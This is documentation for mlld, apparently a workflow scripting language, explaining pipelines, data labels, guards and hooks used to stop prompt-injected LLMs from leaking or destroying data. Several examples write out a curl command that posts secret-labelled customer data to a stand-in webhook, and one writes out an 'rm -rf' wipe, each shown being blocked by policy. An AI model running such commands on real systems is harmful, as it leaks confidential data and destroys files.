Pipelines chain transformations with |. Labels track data provenance and sensitivity. Guards inspect and control operations at runtime. Hooks observe lifecycle events for logging and telemetry.

Pipelines

Chain stages with |. Each stage receives the previous stage output as a single value.

Built-in transformers available in pipelines include:

  • @parse
  • @trim
  • @pretty
  • @sort
var @users = cmd {cat users.json} | @parse

>> Built-ins and custom stages can be mixed
var @msg = "  hello pipeline  " | @trim
exe @double(n) = js { return Number(n) * 2 }
var @x = cmd {echo "5"} | @double

>> JSON parsing modes
var @relaxed = @input | @parse.loose   >> single quotes, trailing commas
var @strict = @input | @parse.strict   >> strict JSON only
var @extracted = @llmResponse | @parse.llm  >> extract from LLM response

>> Stages receive whole values (no implicit array auto-map)
var @items = ["  beta  ", " alpha "]
var @whole = @items | @trim
var @each = for @item in @items => @item | @trim

>> Handle failures with retry + fallback in a stage
exe @source() = "not-json"
exe @parseOrFallback(input) = when [
  @input.startsWith("{") => @input | @parse
  @mx.try < 2 => retry "expected JSON object"
  * => { ok: false, error: "invalid-json", raw: @input }
]
var @result = @source() | @parseOrFallback

Pipeline Context

Pipeline context:

  • @mx.try - current attempt number
  • @mx.stage - current 1-based stage index (1, 2, 3, ...)
  • @p[-1] - previous stage output (same value as current stage input)
exe @trace(input) = [
  show `stage=@mx.stage value=@input`
  => @input
]

show " hello " | @trace | @trim | @trace
>> Output:
>> stage=1 value= hello
>> stage=3 value=hello

Retry in Pipelines

Retry in pipelines:

exe @validator(input) = when [
  @input.valid => @input
  @mx.try < 3 => retry "need more detail"
  * => "fallback"
]
var @result = @raw | @validator

Parallel Pipeline Groups

Parallel groups:

>> Two transforms run concurrently
var @results = || @fetchA() || @fetchB() || @fetchC()

>> With concurrency cap
var @capped = || @a() || @b() || @c() (2, 100ms)  >> cap=2, 100ms pacing

Labels

Labels are strings attached to values that track what data IS and where it CAME FROM. They're the foundation of mlld's security model.

The core insight:

You cannot prevent LLMs from being tricked by prompt injection. But you CAN prevent the consequences of being tricked from manifesting.

Labels make this possible. When an operation is attempted, mlld checks whether the labels on the input data are allowed to flow to that operation. The LLM may have been tricked into trying something dangerous, but labels block it.

Label categories:

Category Examples Applied How
Trust trusted, untrusted Policy defaults, explicit declaration
Sensitivity secret, sensitive, pii Explicit declaration, keychain
Source src:mcp, src:cmd, src:js, src:file Auto-applied by system
Operation op:cmd:git:status, op:sh Auto-applied during execution
Custom internal, redacted User-defined

Declaring labels on variables:

var secret @customerList = <internal/customers.csv>
var pii @patientRecords = <clinic/patients.csv>
var untrusted @externalData = "from outside"

Labels propagate through transformations:

var secret @customerList = <internal/customers.csv>
var @summary = @customerList | @summarize
show @summary.mx.labels

The @summary value still carries the secret label because labels propagate through all transformations (result: ["secret"]).

The security check:

When an operation is attempted:

  1. What labels does the input data have?
  2. What labels does the operation have?
  3. Does policy allow this flow?
var secret @customerList = <internal/customers.csv>

>> Guard on the data label — fires when secret data flows to any operation
guard @noSecretExfil before secret = when [
  @mx.op.labels.includes("net:w") => deny "Secret data cannot flow to network operations"
  * => allow
]

exe net:w @postToWebhook(data) = run cmd { curl -d "@data" https://hooks.example.com/ingest }

show @postToWebhook(@customerList)

The @customerList has label secret. The operation @postToWebhook has label net:w. The guard blocks the flow: Guard blocked operation: Secret data cannot flow to network operations.

You can guard from either direction — guard before secret (check the operation) or guard before net:w (check the data). See guards-basics for the matching model.

Label context (@mx):

Every value carries label metadata accessible via @mx:

var secret @key = "abc"
show @key.mx.labels
show @key.mx.taint
show @key.mx.sources
  • labels - User-declared sensitivity labels
  • taint - Union of labels plus source markers (for provenance)
  • sources - Source references (file paths and guard names), not a full transformation history

Why labels work:

Labels are enforced by the mlld runtime, not by LLM reasoning. A tricked LLM can try to send your customer list to an attacker's webhook, but:

  1. The data still has its secret label
  2. The network operation still has its net:w label
  3. Policy or guards say secret → net:w = DENY
  4. The operation is blocked regardless of LLM intent

This is the fundamental security guarantee: labels track facts about data that cannot be changed by prompt injection.

Sensitivity Labels

Sensitivity labels classify what data IS: whether it contains secrets, personal information, or other confidential content. Unlike source labels (which track provenance automatically), sensitivity labels are explicitly declared by developers.

The three sensitivity labels:

Label Meaning Common Use
secret Confidential secrets, credentials, proprietary data Customer lists, credentials, trade secrets
sensitive Confidential but not cryptographic Business data, internal configs
pii Personally identifiable information Email addresses, names, SSNs

Declaring sensitivity labels:

var secret @customerList = <internal/customers.csv>
var pii @patientRecords = <clinic/patients.csv>
var sensitive @internalConfig = <./company-config.json>

The label appears before the variable name when you declare it.

Auto-applied secret label:

Values retrieved from the keychain automatically receive the secret label and src:keychain source taint:

var @key = keychain.get("api-token")
show @key.mx.labels
show @key.mx.taint

Output: ["secret"] and ["secret", "src:keychain"]

This is the ONLY case where sensitivity labels are auto-applied. All other sensitivity labels must be declared explicitly.

How sensitivity labels differ from trust labels:

Trust labels (trusted/untrusted) track whether a source is trustworthy. Sensitivity labels track what the data contains:

var untrusted secret @leakedKey = <./found-on-internet.txt>

This data is BOTH untrusted (came from unreliable source) AND secret (contains a credential). The two classifications are independent.

Sensitivity labels propagate:

Like all labels, sensitivity markers flow through transformations:

var secret @customerList = <internal/customers.csv>
var @parsed = @customerList | @parse
var @firstTen = @parsed.slice(0, 10)
var @summary = `Top customers: @firstTen`

show @summary.mx.labels

Output: ["secret"]

The secret label propagates through the parse, the slice operation, and the template interpolation. This is critical: you cannot accidentally remove sensitivity by transforming data.

Security rules for sensitivity labels:

Policy defines built-in rules that block dangerous flows:

Rule Behavior
no-secret-exfil Blocks secret data from flowing to operations labeled exfil
no-sensitive-exfil Blocks sensitive data from flowing to exfil operations

These rules are opt-in via policy configuration:

policy @p = {
  defaults: {
    rules: [
      "no-secret-exfil",
      "no-sensitive-exfil"
    ]
  }
}

What counts as exfil?

exfil is a risk classification you apply to your semantic operation labels via policy.operations. You label exe functions with semantic labels describing what they do (e.g. net:w), then policy maps those to risk categories:

>> Semantic label describes what the operation does
exe net:w @sendToServer(data) = run cmd {
  curl -d "@data" https://example.com/collect
}

>> Policy groups semantic labels under risk categories
policy @p = {
  defaults: { rules: ["no-secret-exfil"] },
  operations: { exfil: ["net:w"] }
}

Blocked flow example:

policy @p = {
  defaults: { rules: ["no-secret-exfil"] },
  operations: { exfil: ["net:w"] }
}

var secret @customerList = <internal/customers.csv>
exe net:w @postToWebhook(data) = run cmd {
  curl -d "@data" https://hooks.example.com/ingest
}

show @postToWebhook(@customerList)

Error: the secret label on @customerList cannot flow to the exfil-classified operation per the no-secret-exfil rule.

Alternative — direct risk labeling: You can skip the two-step pattern and label operations directly as exe exfil @sendToServer(...). This works but couples the exe definition to the risk category. See policy-operations for details.

Using sensitivity in guards:

Guards can check for sensitivity labels and enforce custom rules:

guard before op:show = when [
  @input.any.mx.labels.includes("secret") => deny "Cannot display secrets"
  * => allow
]

var secret @recipe = <vault/secret-recipe.txt>
show @recipe

This blocks showing any secret-labeled data.

Why sensitivity labels work:

Sensitivity labels are enforced by the mlld runtime, not by LLM reasoning. Even if an LLM is tricked via prompt injection:

  1. The secret data still carries its secret label
  2. The operation still has its risk labels (exfil, network, etc.)
  3. Policy rules block the dangerous combination
  4. The operation fails regardless of LLM intent

This is defense in depth: the LLM may try to exfiltrate a secret, but the label system prevents it from succeeding.

Trust Labels

Trust labels classify data reliability: trusted or untrusted.

>> Declare untrusted variable
var untrusted @payload = "user input"

>> Semantic label on operation, mapped to destructive via policy
exe fs:w @wipe(data) = run cmd { rm -rf "@data" }

policy @p = {
  defaults: { rules: ["no-untrusted-destructive"] },
  operations: { destructive: ["fs:w"] }
}

Trust asymmetry: untrusted is sticky. Adding trusted to untrusted data creates a conflict (both labels are kept). Removing untrusted requires privilege via => trusted! @var.

Built-in rules: Enable in policy defaults:

policy @p = {
  defaults: { rules: ["no-untrusted-destructive", "no-untrusted-privileged"] }
}
Rule Blocks
no-untrusted-destructive untrusteddestructive operations
no-untrusted-privileged untrustedprivileged operations

Flow blocked:

policy @p = {
  defaults: { rules: ["no-untrusted-destructive"] },
  operations: { destructive: ["fs:w"] }
}

var untrusted @payload = "data"
exe fs:w @wipe(data) = run cmd { echo "@data" }
show @wipe(@payload)

Error: Rule 'no-untrusted-destructive': label 'untrusted' cannot flow to 'destructive'

The two-step flow: fs:w on exe → policy maps to destructiveno-untrusted-destructive rule blocks untrusted data.

Alternative: Label exe directly as exe destructive @wipe(...) to skip the mapping step. See policy-operations.

Opt-in auto-labeling: Instead of labeling every variable manually, defaults.unlabeled in policy config automatically labels all data that has no user-assigned labels:

policy @p = {
  defaults: {
    unlabeled: "untrusted",
    rules: ["no-untrusted-destructive"]
  },
  operations: { destructive: ["fs:w"] }
}

var @data = <./input.txt>
exe fs:w @wipe(data) = run cmd { echo "@data" }
show @wipe(@data)

Error: Rule 'no-untrusted-destructive': label 'untrusted' cannot flow to 'destructive' -- file-loaded data has no user labels, so defaults.unlabeled: "untrusted" applies the untrusted label automatically.

This is opt-in via policy config, not default behavior. Data with explicit labels (e.g., var trusted @clean = ...) is unaffected.

Influenced Label

Mark LLM outputs as influenced when they process untrusted data.

policy @p = {
  defaults: {
    rules: ["untrusted-llms-get-influenced"]
  }
}

var untrusted @task = "Review this external input"
exe llm @process(input) = run cmd { claude -p "@input" }

var @result = @process(@task)
show @result.mx.labels  >> ["llm", "untrusted", "influenced"]

The rule only auto-applies the label. Enforcement comes from policy.labels.influenced.

Restrict influenced outputs:

labels: {
  influenced: {
    deny: ["destructive", "exfil"]
  }
}

Requirements for label application:

  • Policy rule untrusted-llms-get-influenced enabled
  • Executable labeled llm
  • Input contains untrusted label

Notes:

  • Label propagates through interpolation
  • Trusted inputs don't trigger the label
  • Defense in depth against prompt injection
  • See labels-overview for label system basics

Automatic Source Labels

Source labels are automatically applied by the system to track where data originates. Unlike user-declared labels (like secret or pii), you don't add these manually—they're applied when data enters the system.

Available source labels:

Label Applied When
src:cmd Output from cmd { } blocks
src:sh Output from sh { } blocks
src:js Output from js { } blocks
src:py Output from py { } blocks
src:template Output from template executables
src:exe Output from pure mlld executables (no code block)
src:file Content loaded from files
src:user User input (via @input resolver)
src:mcp Data from MCP tool calls
src:network Network fetches
src:keychain Values retrieved from the keychain
src:dynamic Runtime-injected modules
src:env:<provider> Output from environment providers

Directory labels:

When loading files, directory labels (dir:/path) are also applied for each parent directory. This enables location-based security rules.

File load example:

var @config = <@root/config.txt>
show @config.mx.taint | @parse

Output includes ["src:file", "dir:/path/to/parent", ...] - the file source plus all parent directories. Note: @root resolves from the project root location, ensuring paths work from any working directory.

Code block examples:

Each code block type adds its own source label. Input labels from arguments are preserved alongside the source taint.

exe @fromCmd(val) = cmd { printf "%s" "@val" }
exe @fromSh(val) = sh { echo "$val" }
exe @fromJs(val) = js { return val; }
exe @fromPy(val) = py { print(val) }

var pii @name = "Alice"

var @cmdResult = @fromCmd(@name)
show @cmdResult.mx.taint | @parse
>> ["pii", "src:cmd"]

var @jsResult = @fromJs(@name)
show @jsResult.mx.taint | @parse
>> ["pii", "src:js"]

Source taint stacks with input labels: the pii label from @name is preserved, and the execution medium is recorded.

Why source labels matter:

Source labels enable provenance-based security. You can write guards that restrict what external data can do:

guard before op:exe = when [
  @input.any.mx.taint.includes("dir:/tmp/uploads") => deny "Cannot execute uploaded files"
  * => allow
]

Using source labels in policy:

Policy can set label flow rules for source labels:

policy @p = {
  labels: {
    "src:mcp": {
      deny: ["destructive"]
    }
  }
}

This prevents MCP-sourced data from flowing to operations labeled destructive.

Source labels vs user labels:

  • Source labels (src:*, dir:*) - factual provenance, auto-applied, cannot be removed
  • User labels (secret, pii, untrusted) - semantic classification, manually declared, can be modified

Both flow through the taint field. Guards typically check @mx.taint to see the full picture:

show @data.mx.taint
show @data.mx.labels

The taint array contains both source markers and user labels. The labels array contains only user-declared labels.

Automatic Labels

Label Applied To
src:cmd Output from cmd { } blocks
src:sh Output from sh { } blocks
src:js Output from js { } blocks
src:py Output from py { } blocks
src:template Output from template executables
src:exe Output from pure mlld executables (no code block)
src:file File loads
src:mcp MCP tool call results
src:user User input (via @input resolver)
src:network Network fetches
src:keychain Values from the keychain
src:dynamic Dynamic module imports
src:env:<provider> Environment provider outputs
dir:/path File directories (all parents)

Example directory guards:

guard before op:run = when [
  @input.any.mx.taint.includes('dir:/tmp/uploads') =>
    deny "Cannot execute uploaded files"
  * => allow
]

Label Tracking

Labels propagate through all transformations automatically.

>> Method calls preserve labels
var secret @data = <internal/customers.csv>
var @trimmed = @data.trim()
show @trimmed.mx.labels    // ["secret"]

Templates: Interpolated values carry labels to the result.

var secret @recipe = <vault/secret-recipe.txt>
var @msg = `Recipe: @recipe`
show @msg.mx.labels        // ["secret"]

Collections: Items retain labels; collection has union.

var secret @data = <internal/customers.csv>
var @arr = [@data, "public"]
show @arr.mx.labels        // ["secret"]

Pipelines: Labels accumulate through stages.

var secret @financials = <internal/q4-earnings.txt>
var @result = @financials | @transform | @process
show @result.mx.labels     // ["secret"]

Expressions: Ternary/conditional expressions, nullish coalescing, and object spread all preserve labels from their inputs.

var pii @name = "Alice"
var @flag = true
var @result = @flag ? @name : "anon"
show @result.mx.labels     // ["pii"]

var @other = null
var @fallback = @other ?? @name
show @fallback.mx.labels   // ["pii"]

var secret @creds = { key: "sk-123" }
var @copy = { ...@creds, extra: "x" }
show @copy.mx.labels       // ["secret"]

When-expressions: Labels from the matched branch propagate to the result.

var pii @name = "Alice"
var @result = when [
  true => @name
  * => "anonymous"
]
show @result.mx.labels     // ["pii"]

For-loops: Source labels propagate through iteration results.

var secret @items = ["alpha", "beta"]
var @results = for @item in @items => @item.toUpperCase()
show @results.mx.labels    // ["secret"]

Code blocks: Labels on arguments survive round-trips through js, sh, py, and cmd blocks. The block type also adds its own source taint.

var pii @name = "Alice"
exe @process(val) = js { return val.toUpperCase(); }
var @result = @process(@name)
show @result.mx.labels     // ["pii"]
show @result.mx.taint      // ["pii", "src:js"]

File I/O: When labeled data is written to disk, the audit log records the taint. Reading the file restores it.

var secret @records = <internal/patients.csv>
output @records to "@root/tmp/export.txt"

var @loaded = <@root/tmp/export.txt>
show @loaded.mx.labels     // ["secret"]

The audit log stores a write event with the taint set. On subsequent reads, mlld consults the log and applies the recorded labels. See audit-log for the ledger format.

Note: If @loaded.mx.labels shows [], check that you declared the sensitivity label on the original variable (e.g., var secret @records). Labels are not inferred from content—they must be declared explicitly.

Label Modification

Label modification syntax applies security labels to return values.

Add labels:

exe @classify(data) = [
  let @processed = @data | @transform
  => pii @processed
]

exe @markMultiple(data) = [
  => pii,internal @data
]

Multiple labels separated by commas.

Trust modification:

>> Downgrade trust (always allowed)
exe @taint(data) = [
  => untrusted @data
]

>> Add trusted (warning if already untrusted)
exe @suggest(data) = [
  => trusted @data
]

Adding untrusted replaces any existing trusted label. Adding trusted to already untrusted data triggers a warning (configurable via policy.defaults.trustconflict).

Privileged operations:

Privileged guards can remove protected labels:

guard privileged @bless after secret = when [
  * => allow with { addLabels: ["trusted"], removeLabels: ["untrusted", "secret"] }
]

Policy guards are automatically privileged. User-defined guards are privileged when declared with the privileged prefix or with { privileged: true }. Privilege applies to guard declarations; exe functions do not have a privileged mode.

Privileged action Syntax Effect
Blessing => trusted! @var Remove untrusted, add trusted
Label removal => !pii @var Remove specific label
Multi-label removal => !pii,!internal @var Remove multiple labels
Clear labels => clear! @var Remove all non-factual labels

The shorthand syntax (trusted!, !label, clear!) ONLY works inside privileged guards (including guard when [...] actions). It does not work in exe blocks or non-privileged guards. Attempting to use it outside a privileged guard context throws a privilege error.

>> Privileged guard — shorthand works here
guard privileged @sanitize after secret = when [
  @output.verified => trusted! @output
  @output.public   => !secret @output
  *                 => deny "Unverified secret data"
]

>> Non-privileged guard — shorthand does NOT work
guard @attempt after secret = when [
  * => trusted! @output
]
>> Error: LABEL_PRIVILEGE_REQUIRED — trusted! requires privileged guard context

>> Exe block — shorthand does NOT work
exe @tryBless(data) = [
  => trusted! @data
]
>> Error: LABEL_PRIVILEGE_REQUIRED — trusted! requires privileged guard context

Guards also support allow with { ... } action syntax for privileged label modifications:

Guard action Privilege? Effect
allow with { addLabels: ["trusted"] } No Adds trusted (trust conflict policy still applies)
allow with { removeLabels: ["untrusted"] } Yes Removes untrusted
allow with { addLabels: ["trusted"], removeLabels: ["untrusted"] } Yes Blessing: removes untrusted, adds trusted
allow with { removeLabels: ["secret"] } Yes Removes protected label

Trust label asymmetry:

Syntax Privilege? Effect
=> untrusted @var No Replaces trusted (taint flows down)
=> trusted @var No Adds trusted; warning if conflict
=> trusted! @var Yes Blessing: removes untrusted
=> !label @var Yes Removes specific label
=> clear! @var Yes Removes all non-factual labels

Protected labels:

These labels require privilege to remove:

  • secret - Prevents self-blessing of sensitive data
  • untrusted - Tracks trust state
  • src:* (all source labels: src:mcp, src:cmd, src:sh, src:js, src:py, src:file, src:network, src:keychain, etc.) - Provenance tracking

Attempting to remove protected labels without privilege throws PROTECTED_LABEL_REMOVAL error.

Factual labels:

Labels starting with src: are factual provenance labels. They are part of .mx.taint and may not appear in .mx.labels. Use .mx.taint for source checks such as src:mcp and src:cmd. clear! does not remove factual labels.

Guard context:

After guards receive @output with the operation result:

guard @validateMcp after src:mcp = when [
  @output.data?.valid => allow @output
  * => deny "Invalid MCP response"
]

The guard uses after timing to process output. Blessing and label removal require privileged guards using allow with { addLabels, removeLabels } syntax.

Trust conflict behavior:

Controlled by policy.defaults.trustconflict:

  • warn (default) - Log warning, keep both labels, treat as untrusted
  • error - Throw error
  • silent - No warning, keep both labels

Guards

Guards block labeled data at trust boundaries:

guard before secret = when [
  @mx.op.labels.includes("net:w") => deny "Secrets cannot flow to network operations"
  * => allow
]

Guard syntax:

guard [@name] TIMING TRIGGER = when [...]
  • TIMING: before, after, or always (for is shorthand for before)
  • TRIGGER: a label — matches wherever that label appears (on input data, on operations, or both). Use the op: prefix to narrow to operation-only matching.

How triggers match:

A guard trigger is a label. It matches wherever that label appears:

Match source Scope @input When it fires
Data label on an input per-input The individual labeled variable Each input with that label
Operation label (exe label) per-operation Array of all operation inputs Once per matching operation
>> Matches input data with the 'secret' label AND exes labeled 'secret'
guard before secret = when [...]

>> Matches ONLY exes/operations labeled 'exfil' (narrowed with op:)
guard before op:exfil = when [...]

The op: prefix is for disambiguation — use it when you want operation-only matching. For most guards, bare labels are simpler and match both contexts.

Security context in guards:

All guards have access to the full operation context:

  • @mx.labels - semantic classification (what it is): secret, pii, untrusted
  • @mx.taint - provenance (where it came from): src:mcp, src:cmd, src:js, src:file
  • @mx.sources - transformation trail (how it got here): mcp:createIssue, command:curl
  • @mx.op.labels - operation labels, including exe labels like destructive or net:w

Guard Context Reference:

Guard scope @input @output @mx highlights
per-operation Array of operation inputs String view of the first input @mx.op.type, @mx.op.name, @mx.op.labels, @mx.guard.try
per-operation (after) Array of operation outputs in the current guard scope String view of the current output @mx.op.*, @mx.guard.try, @mx.guard.reasons, @mx.guard.hintHistory
per-input The current labeled value (string, object, array, etc.) String view of the current value @mx.op.*, @mx.labels, @mx.taint, @mx.sources, @mx.guard.try

Per-operation guard inputs expose helper metadata for aggregate checks:

  • @input.any.mx.labels.includes("secret")
  • @input.all.mx.taint.includes("src:file")
  • @input.none.mx.labels.includes("pii")
  • @input.mx.labels, @input.mx.taint, @input.mx.sources
  • @input.any.text.includes("SSN") for content-level text inspection

Two ways to guard the same flow:

You can guard from the data side or the operation side — both work:

>> Approach 1: Guard on the data label, check the operation
guard before secret = when [
  @mx.op.labels.includes("net:w") => deny "Secrets cannot flow to network operations"
  * => allow
]

>> Approach 2: Guard on the operation label, check the data
guard before net:w = when [
  @input.any.mx.labels.includes("secret") => deny "Secrets cannot flow to network operations"
  * => allow
]

Both prevent secret data from reaching net:w operations. Choose whichever reads more naturally for your use case.

Hierarchical operation matching:

Operation type matching with op: is hierarchical: before op:cmd:git matches op:cmd:git:push, op:cmd:git:status, etc.

Per-input validation and transformation:

Per-input guards can validate or sanitize data by label:

guard @validateSecret before secret = when [
  @input.length < 8 => deny "Secret is too short"
  * => allow
]

guard @sanitize before untrusted = when [
  * => allow @input.trim().slice(0, 100)
]

Per-input guards run in full operation context — use @mx.op.type, @mx.op.labels, etc. to check what operation the labeled data is flowing into:

guard @redact before secret = when [
  @mx.op.type == "show" => allow @redact(@input)
  * => allow
]

After guards:

After guards validate or transform operation output:

guard @validateJson after op:exe = when [
  @isValidJson(@output) => allow
  * => deny "Invalid JSON"
]

After-guard transforms chain sequentially in declaration order — each matching guard receives the output from the previous guard. See guard-composition for the full resolution model.

Guard Composition

These rules apply to all guards (per-operation and per-input):

  1. Guards run top-to-bottom in declaration order.
  2. always timing participates in both phases (before and after).
  3. Decision precedence is deny > retry > allow @value > allow.
  4. Before-phase transforms are last-wins: each guard evaluates against the original input independently, and the last guard's replacement becomes the operation input.
  5. After-phase transforms chain sequentially; each guard receives the previous guard's output.
  6. retry actions apply only in retryable operation contexts (for example pipeline stages). In non-retryable contexts, retry resolves as a deny.
  7. before op:exe transforms run before executable evaluation, so guard logic reads @input in this phase. @output is available in after phase only.

Guards are non-reentrant (won't trigger on their own operations).

Per-input guards (matched via data labels) fire once per matching input and participate in the same decision pipeline — their deny/allow/retry results compose with per-operation guard results using the same precedence rules above.

Privileged Guards

Privileged guards cannot be bypassed with { guards: false } and can remove protected labels.

>> Mark a user-defined guard as privileged (prefix form)
guard privileged @blocker before op:run = when [
  * => deny "blocked"
]

>> Equivalent with-clause form
guard @blocker before op:run = when [
  * => deny "blocked"
] with { privileged: true }
>> Policy rules create privileged guards automatically
policy @p = {
  defaults: { rules: ["no-secret-exfil"] },
  operations: { exfil: ["net:w"] }
}

var secret @customerList = <internal/customers.csv>
exe net:w @send(data) = run cmd { printf "%s" "@data" }

>> Privileged guard still blocks — { guards: false } only disables user guards
show @send(@customerList) with { guards: false }
>> Error: Rule 'no-secret-exfil': label 'secret' cannot flow to 'exfil'

What privileged guards can do:

Action Syntax Effect
Bless => trusted! @var Remove untrusted, add trusted
Remove label => !label @var Remove specific label
Clear labels => clear! @var Remove all non-factual labels

Non-privileged guards cannot remove ANY labels. Protected labels (secret, untrusted, src:*) get PROTECTED_LABEL_REMOVAL; other labels get LABEL_PRIVILEGE_REQUIRED. This ensures label removal is always a privilege escalation.

Contrast — non-privileged guard cannot remove labels:

>> User-defined guard — NOT privileged
guard @bless after secret = when [
  * => allow with { removeLabels: ["secret"] }
]
>> PROTECTED_LABEL_REMOVAL: Cannot remove protected label 'secret' without privilege

How guards become privileged:

Policy-generated guards are privileged. User-defined guards are privileged when declared with the privileged prefix or with { privileged: true }.

Notes:

  • with { guards: false } disables user guards but privileged guards still run
  • with { guards: only(...) } and except(...) also preserve privileged guards
  • See label-modification for privilege syntax details

Transform with Allow

guard @redact before secret = when [
  @mx.op.type == "show" => allow @redact(@input)
  * => allow
]

allow @value replaces the guarded value:

  • In before phase, replacements read from @input.
  • In after phase, replacements read from @output.

For before op:exe, write transforms against @input (for example method calls or helper executables) so input conversion stays explicit.

When multiple before transforms match, the last replacement becomes operation input. after transforms chain in declaration order.

Denied Handlers

The denied keyword is a when-condition that tests if we're in a denied context. Use it to handle guard denials gracefully.

  • deny "reason" — guard action that blocks an operation
  • denied — when-condition that matches inside a denied handler
guard before op:run = when [
  @input.any.mx.labels.includes("secret") => deny "Secrets blocked from shell"
  * => allow
]

exe @safe(value) = when [
  denied => `[blocked] @mx.guard.reason`
  * => @value
]

denied handlers catch denials from guards in both per-operation and per-input scope. When a guard denies an operation, the exe's when block can match denied and provide a fallback value.

Accessing guard context:

exe @handler(value) = when [
  denied => show "Blocked: @mx.guard.reason"
  denied => show "Guard: @mx.guard.name"
  denied => show "Labels: @mx.labels.join(', ')"
  * => show @value
]

Negating denied:

exe @successOnly(value) = when [
  !denied => @value
]

Hooks

hook registers user lifecycle hooks that run before or after operations. Hooks observe, transform, or log — they do not abort (use guards for that).

Syntax: hook [<@name>] <before|after> <filter> = <body>

>> Named hook on a function (after)
hook @logger after @review = [
  append `reviewed: @mx.op.name` to "audit.log"
]

>> Before hook on an operation type
hook before op:run = [
  log `running: @mx.op.name`
]

>> After hook with when body
hook @router after op:exe = when [
  @mx.op.name == "deploy" => log "deployed"
  * => log "other exe"
]

Three filter types:

Filter Example Matches
Function @review Calls to that executable
Function + prefix @review("src/") Calls where first arg starts with "src/"
Operation op:run, op:exe, op:var All operations of that type
Data label untrusted Operations with labeled inputs

Supported operation filters: op:var, op:run, op:exe, op:show, op:output, op:log, op:append, op:stream, op:for, op:for:iteration, op:for:batch, op:loop, op:import.

op:loop fires per iteration (each call to loop()), not once for the whole /loop directive. op:log matches /log directives specifically (not /output).

Hook body context:

Variable Timing Description
@input both Operation inputs (function args for before function hooks)
@output after Operation result
@mx.op.name both Operation or executable name
@mx.op.type both Operation type (exe, run, show, etc.)
@mx.op.labels both Labels on the operation
@mx.hooks.errors both Errors from earlier hooks in the chain

Behavior:

  • Hooks run in declaration order
  • Return values chain — a later hook receives the previous hook's transformed value
  • Body errors are isolated and collected in @mx.hooks.errors (the parent operation continues)
  • Hooks are non-reentrant — nested operations inside a hook body skip user hooks
>> Observability: telemetry + error tracking
hook @telemetry after @emit = [
  output `telemetry:@mx.op.name` to "state://telemetry"
]

hook @errors after @emit = [
  append `errors:@mx.hooks.errors.length` to "hook-errors.log"
]

Hooks vs guards: Hooks observe and transform. Guards enforce security policy and can deny or retry operations. Use hooks for logging, telemetry, and light transforms. Use guards when you need to block operations based on labels or content.